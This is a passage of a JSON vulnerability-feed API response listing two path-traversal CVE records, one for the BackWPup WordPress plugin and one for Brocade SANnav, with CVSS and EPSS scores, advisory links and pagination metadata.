record"}]},{"id":"34c4ec79-de5f-45c3-ba5b-1e7d3268bde1","slug":"cve-2026-86828","externalId":"CVE-2026-86828","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-86828 — The BackWPup  WordPress plugin before 5.7.7 does not properly restrict the destination path of files extracted during a backup restore when its fal…","description":"The BackWPup  WordPress plugin before 5.7.7 does not properly restrict the destination path of files extracted during a backup restore when its fallback archive library is used, allowing high-privileged users to write files outside the intended restore directory, potentially leading to remote code execution.","cveId":"CVE-2026-86828","cvssScore":6.6,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22"],"tags":["nvd","status:received","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://wpscan.com/vulnerability/be8c0eab-1874-4490-b94e-394f62a522f3/","type":"advisory","title":"contact@wpscan.com"}],"epssScore":0.00219,"epssPercentile":0.11374,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T06:16:45.287Z","addedAt":"2026-10-08T06:39:29.739Z","updatedAt":"2026-10-08T21:05:47.249Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86828","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-86828","note":"authoritative record"}]},{"id":"03b2a8a6-65d4-49f0-bf96-540cf7701c88","slug":"cve-2026-5049","externalId":"CVE-2026-5049","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-5049 — A path traversal vulnerability affects the The Zone Alias Import flow feature in Brocade SANnav before 3.0.0a.","description":"A path traversal vulnerability affects the The Zone Alias Import flow feature in Brocade SANnav before 3.0.0a. A local authenticated attacker can write an uploaded content outside the intended directory.","cveId":"CVE-2026-5049","cvssScore":6.9,"cvssVector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://support.broadcom.com/external/content/SecurityAdvisories/0/37931","type":"advisory","title":"sirt@brocade.com"}],"epssScore":0.00178,"epssPercentile":0.06716,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T06:16:43.820Z","addedAt":"2026-10-08T06:39:29.710Z","updatedAt":"2026-10-08T21:05:47.151Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-5049","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-5049","note":"authoritative record"}]}],"pagination":{"page":1,"limit":20,"total":1901,"totalPages":96,"hasNext":true,"hasPrev":false}},"meta":{"apiVersion":"v1","requestedAt":"2026-10-08T23:18:54.854Z","durationMs":37,"filters":{"search":null,"severity":[],"type":[],"country":[],"tag":[],"cwe":["CWE-22"],"vendor":null,"product":null,"cve":null,"source":[],"days":null,"publishedAfter":null,"publishedBefore":null,"minCvss":null,"maxCvss":null,"minEpss":null,"knownExploited":null,"hasPatch":null,"hasNucleiTemplate":null},"sort":"newest","unknownParams":[],"warnings":[]}}